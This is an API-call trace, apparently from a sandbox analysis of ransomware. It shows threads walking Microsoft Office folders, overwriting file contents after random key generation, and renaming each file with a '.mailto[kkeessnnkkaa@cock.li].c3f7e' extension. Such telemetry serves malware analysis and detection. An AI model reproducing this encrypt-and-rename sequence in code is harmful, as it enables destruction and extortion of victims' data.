	[0091.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83210
	[0091.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50ca0a0
	[0091.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731970
	[0091.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0091.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83210) returned 1
	[0091.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.760] WriteFile (in: hFile=0x14c0, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x183bf71c, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0x183bf71c*=0xc800, lpOverlapped=0x0) returned 1
	[0091.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0091.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x477b068
	[0091.762] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.762] WriteFile (in: hFile=0x14c0, lpBuffer=0x4771868*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x183bf79c, lpOverlapped=0x0 | out: lpBuffer=0x4771868*, lpNumberOfBytesWritten=0x183bf79c*=0x117, lpOverlapped=0x0) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477afa8) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b068) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0091.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0091.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718c40
	[0091.765] wcscpy (in: _Dest=0x4718c40, _Source="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4"
	[0091.765] wcscat (in: _Dest=0x4718c40, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.765] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x183bf754, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33900
	[0091.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0091.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12320) returned 1
	[0091.766] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x183bf760, FileInformation=0x183bf738, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x183bf760, FileInformation=0x183bf738) returned 0x0
	[0091.766] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x183bf760, FileInformation=0x183bf738, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718c40) returned 1
	[0091.767] FlushFileBuffers (hFile=0x14c0) returned 1
	[0093.275] CloseHandle (hObject=0x14c0) 

Thread:
	id = 643
	os_tid = 0x1938

	[0078.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x47535c0
	[0078.163] wcscpy (in: _Dest=0x47535c0, _Source="C:\\Program Files\\Microsoft Office\\root\\Integration" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration") returned="C:\\Program Files\\Microsoft Office\\root\\Integration"
	[0078.163] wcscat (in: _Dest=0x47535c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\"
	[0078.163] wcscat (in: _Dest=0x47535c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\*"
	[0078.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475b0b0
	[0078.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x475b0b0 | out: lpFindFileData=0x475b0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70dc0
	[0081.982] wcscmp (_String1=".", _String2=".") returned 0
	[0081.982] FindNextFileW (in: hFindFile=0x2d70dc0, lpFindFileData=0x475b0b0 | out: lpFindFileData=0x475b0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.984] wcscmp (_String1="..", _String2=".") returned 1
	[0081.984] wcscmp (_String1="..", _String2="..") returned 0
	[0081.984] FindNextFileW (in: hFindFile=0x2d70dc0, lpFindFileData=0x475b0b0 | out: lpFindFileData=0x475b0b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe33a4c67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe33a4c67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3607185, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RInt.16.msi", cAlternateFileName="C2RINT~1.MSI")) returned 1
	[0081.984] wcscmp (_String1="C2RInt.16.msi", _String2=".") returned 1
	[0081.984] wcscmp (_String1="C2RInt.16.msi", _String2="..") returned 1
	[0081.984] FindNextFileW (in: hFindFile=0x2d70dc0, lpFindFileData=0x475b0b0 | out: lpFindFileData=0x475b0b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe384358e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe384358e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3acbcd3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RIntLoc.en-us.16.msi", cAlternateFileName="C2RINT~2.MSI")) returned 1
	[0081.984] wcscmp (_String1="C2RIntLoc.en-us.16.msi", _String2=".") returned 1
	[0081.984] wcscmp (_String1="C2RIntLoc.en-us.16.msi", _String2="..") returned 1
	[0081.984] FindNextFileW (in: hFindFile=0x2d70dc0, lpFindFileData=0x475b0b0 | out: lpFindFileData=0x475b0b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1
	[0081.984] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0081.985] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0081.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a4f48
	[0081.985] wcscpy (in: _Dest=0x46a4f48, _Source="C:\\Program Files\\Microsoft Office\\root\\Integration" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration") returned="C:\\Program Files\\Microsoft Office\\root\\Integration"
	[0081.985] wcscat (in: _Dest=0x46a4f48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\"
	[0081.985] wcscat (in: _Dest=0x46a4f48, _Source="C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0091.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x220
	[0091.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0091.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14bc
	[0091.701] GetFileSizeEx (in: hFile=0x14bc, lpFileSize=0x1843fb0c | out: lpFileSize=0x1843fb0c*=37360) returned 1
	[0091.701] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x91ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.701] ReadFile (in: hFile=0x14bc, lpBuffer=0x1843fa90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1843fa8c, lpOverlapped=0x0 | out: lpBuffer=0x1843fa90*, lpNumberOfBytesRead=0x1843fa8c*=0x4, lpOverlapped=0x0) returned 1
	[0091.705] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.705] NtQuerySystemTime (in: CurrentTime=0x1843fa6c | out: CurrentTime=0x1843fa6c*=132251868184471145) returned 0x0
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xa5a67b89
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xb08033ae
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xba74fb51
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xfb18c10f
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x6fb7cae7
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x60e7cd9b
	[0091.705] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xb54be59c
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x378ccc4a
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x66d256ee
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x10c32614
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xb158e4
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x848eb079
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xb2355c2f
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x6c38e6c3
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xfb82169c
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x88a4010d
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x778baf22
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x1dc06f3d
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xd034f468
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xbb9e478f
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x273d72fa
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x4d242f3b
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x28eb06a7
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x1f4027b2
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x4ddcc098
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xd9da4146
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xcf0d1e8e
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xdfef59fe
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x20ff61f5
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xe55e266a
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0x297b1e47
	[0091.706] RtlRandom (in: Seed=0x1843fa78 | out: Seed=0x1843fa78) returned 0xe0226ace
	[0091.714] ReadFile (in: hFile=0x14bc, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x91f0, lpNumberOfBytesRead=0x1843fa68, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x1843fa68*=0x91f0, lpOverlapped=0x0) returned 1
	[0091.717] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.717] WriteFile (in: hFile=0x14bc, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x91f0, lpNumberOfBytesWritten=0x1843fa64, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x1843fa64*=0x91f0, lpOverlapped=0x0) returned 1
	[0091.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bc290
	[0091.721] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.721] WriteFile (in: hFile=0x14bc, lpBuffer=0x4790dc0*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1843facc, lpOverlapped=0x0 | out: lpBuffer=0x4790dc0*, lpNumberOfBytesWritten=0x1843facc*=0x155, lpOverlapped=0x0) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc290) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771868
	[0091.735] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0091.735] wcscat (in: _Dest=0x4771868, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.735] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1843fa84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x4790dc0
	[0091.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.747] NtQueryInformationFile (in: FileHandle=0x14bc, IoStatusBlock=0x1843fa90, FileInformation=0x1843fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1843fa90, FileInformation=0x1843fa68) returned 0x0
	[0091.747] NtSetInformationFile (FileHandle=0x14bc, IoStatusBlock=0x1843fa90, FileInformation=0x1843fa68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.748] FlushFileBuffers (hFile=0x14bc) returned 1
	[0093.275] CloseHandle (hObject=0x14bc) 

Thread:
	id = 644
	os_tid = 0x193c

	[0078.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e17658
	[0078.165] wcscpy (in: _Dest=0x2e17658, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0078.165] wcscat (in: _Dest=0x2e17658, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0078.165] wcscat (in: _Dest=0x2e17658, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*"
	[0078.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475b580
	[0078.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a928
	[0083.626] wcscmp (_String1=".", _String2=".") returned 0
	[0083.626] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.650] wcscmp (_String1="..", _String2=".") returned 1
	[0083.650] wcscmp (_String1="..", _String2="..") returned 0
	[0083.650] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe282b673, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe282b673, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2910498, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5127, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Grace-ppd.xrm-ms", cAlternateFileName="ACCESS~3.XRM")) returned 1
	[0083.650] wcscmp (_String1="AccessR_Grace-ppd.xrm-ms", _String2=".") returned 1
	[0083.650] wcscmp (_String1="AccessR_Grace-ppd.xrm-ms", _String2="..") returned 1
	[0083.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2ac18
	[0083.650] wcscpy (in: _Dest=0x2e2ac18, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0083.650] wcscat (in: _Dest=0x2e2ac18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0083.650] wcscat (in: _Dest=0x2e2ac18, _Source="AccessR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms"
	[0084.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2ac18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc
	[0084.202] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe274684a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe274684a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe289dd92, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Grace-ul-oob.xrm-ms", cAlternateFileName="ACCESS~2.XRM")) returned 1
	[0084.203] wcscmp (_String1="AccessR_Grace-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.203] wcscmp (_String1="AccessR_Grace-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986b00
	[0084.203] wcscpy (in: _Dest=0x4986b00, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.203] wcscat (in: _Dest=0x4986b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.203] wcscat (in: _Dest=0x4986b00, _Source="AccessR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms"
	[0084.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704
	[0084.203] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe274684a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe274684a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe28c3fe1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-pl.xrm-ms", cAlternateFileName="ACCESS~1.XRM")) returned 1
